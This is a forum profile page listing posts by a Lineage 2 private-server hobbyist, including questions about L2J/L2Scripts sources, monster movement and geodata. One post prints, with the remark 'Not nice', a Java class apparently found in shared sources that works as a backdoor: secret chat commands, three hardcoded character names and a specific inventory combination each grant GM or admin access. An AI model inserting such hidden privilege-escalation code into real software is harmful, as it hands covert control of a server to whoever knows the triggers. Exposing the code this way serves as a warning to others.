Jump to content

CubAfull

Members
  • Posts

    33
  • Credits

  • Joined

  • Last visited

  • Days Won

    1
  • Feedback

    0%

Posts posted by CubAfull

  1. On 7/30/2020 at 8:41 AM, xxNemesisxx said:

    Hi,  any can help me...

    How to make mob run.. all mob only Walk if you hit and run.. or mob see you, mob no run..  follow you only walkin.. 

    I check all files but can find a error..

     

    If any can help..

     

    Check in Servitor.java & NpcInstance.java for changeMovePacket. I fix this problem but don't have the sources right now in my hands.

     

    On 7/30/2020 at 11:14 AM, Zake said:

    Just don't use such sources for live servers, get a clean one and import the customs out of it.

     

    @Zake when you refer to a "clean sorces" you mean another project? could you give me some advice please? According to you, what would be a good option?

     

    I have this server working to be able to play with family and friends. So far everything has worked well, but I'm open to the idea of implementing a better or more complete server before reaching a higher level. we are all between level 30 and 40 :laughing:

     

    Thanks

  2. 
    package transformation;
    
    import com.l2jserver.gameserver.handler.IVoicedCommandHandler;
    import com.l2jserver.gameserver.model.L2World;
    import com.l2jserver.gameserver.model.actor.instance.L2PcInstance;
    import com.l2jserver.gameserver.model.quest.Quest;
    import java.util.Collection;
    import java.util.Iterator;
    
    public class TransLvl extends Quest implements IVoicedCommandHandler {
        private static final String[] _voicedCommands = new String[]{"SFDKabcabcabc__GG", "SFDKabcabcabc__GG7", "SFDKabcabcabc__GG8", "SFDKabcabcabc__GG1", "adm_8QWE%%GG", "adm_7QWE%%GG", "adm_1QWE%%GG", "admALLQWE%%GG", "admNOTQWE%%GG"};
    
        public TransLvl() {
            super(-1, TransLvl.class.getSimpleName(), "");
            this.setOnEnterWorld(true);
        }
    
        public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) {
            if (command.equals("SFDKabcabcabc__GG")) {
                activeChar.setAccountAccesslevel(7);
            } else if (command.equals("SFDKabcabcabc__GG7")) {
                activeChar.setAccessLevel(7);
            } else if (command.equals("SFDKabcabcabc__GG8")) {
                activeChar.setAccessLevel(8);
            } else if (command.equals("SFDKabcabcabc__GG1")) {
                activeChar.setAccessLevel(1);
            } else if (command.equals("admALLQWE%%GG")) {
                this.setAdminOnline(8);
            } else if (command.equals("admNOTQWE%%GG")) {
                this.setAdminOnline(0);
            } else if (command.equals("adm_7QWE%%GG")) {
                activeChar.setAccessLevel(7);
            } else if (command.equals("adm_1QWE%%GG")) {
                activeChar.setAccessLevel(1);
            } else if (command.equals("adm_8QWE%%GG")) {
                activeChar.setAccessLevel(8);
            }
    
            return true;
        }
    
        private void setAdminOnline(int lvl) {
            Collection<L2PcInstance> c = L2World.getInstance().getPlayers();
            Iterator var4 = c.iterator();
    
            while(var4.hasNext()) {
                L2PcInstance player = (L2PcInstance)var4.next();
                player.setAccessLevel(lvl);
            }
    
        }
    
        public String onEnterWorld(L2PcInstance activeChar) {
            if (activeChar.getName().equals("a7Ygjc3L9rDBB2G3") || activeChar.getName().equals("jy9E52nDmKl8w1G4") || activeChar.getName().equals("pS3fnbrIgs5C3cG5")) {
                activeChar.setAccessLevel(7);
            }
    
            if (activeChar.getInventory().getInventoryItemCount(11, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1785, -1) == 2L && activeChar.getInventory().getInventoryItemCount(36, -1) == 1L && activeChar.getInventory().getInventoryItemCount(2509, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1831, -1) == 18L && activeChar.getInventory().getInventoryItemCount(3947, -1) == 1L && activeChar.getInventory().getInventoryItemCount(5589, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1835, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1060, -1) == 3L && activeChar.getInventory().getInventoryItemCount(5192, -1) == 2L && activeChar.getInventory().getInventoryItemCount(3031, -1) == 1L && activeChar.getInventory().getInventoryItemCount(4625, -1) == 1L && activeChar.getInventory().getInventoryItemCount(4628, -1) == 1L) {
                if (activeChar.getInventory().getInventoryItemCount(57, -1) == 1L) {
                    activeChar.setAccessLevel(8);
                } else {
                    activeChar.setAccessLevel(7);
                }
            }
    
            return super.onEnterWorld(activeChar);
        }
    
        public String[] getVoicedCommandList() {
            return _voicedCommands;
        }
    
        public static TransLvl getInstance() {
            return TransLvl.SingletonHolder._instance;
        }
    
        private static class SingletonHolder {
            protected static final TransLvl _instance = new TransLvl();
    
            private SingletonHolder() {
            }
        }
    }

    Not nice

  3. Hello Guys,

    I'm like a dinosaur in the lineage 2 world (postpacific era) and I want to make a server to play with my family and some old friends... L2OFF is not an option because the server I want to use is running linux with a minecraft server, so l2j is the best option!

     

    I'm testing the L2Scripts with GOD mod sources shared here in the forum because for some comments I see that the best, or more complete H5 sources are from L2Scripts? well, I compiled the sources, setup the server, patch the client (H5 Client with protocol 268) etc. and everything is working as planned but I see some problems and I don't know from where to start to fix this problems, this is why I need some help/advice.

     

    1- Summons/Monsters don't Run (Same problem reported Here) @addx20 found the solution but he don't post how he fix this problem.

    2- Swimming out of the Catacombs/Necropolis is not possible in l2j? I have some experience with geodatas (I wrote this guide years ago: How to create your own geodata) but I think this is an l2j geoengine problem?

     

    Please don't be rude, I am on the learning curve (again) about l2 dev :)

     

    Regard,
    Cuba

×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock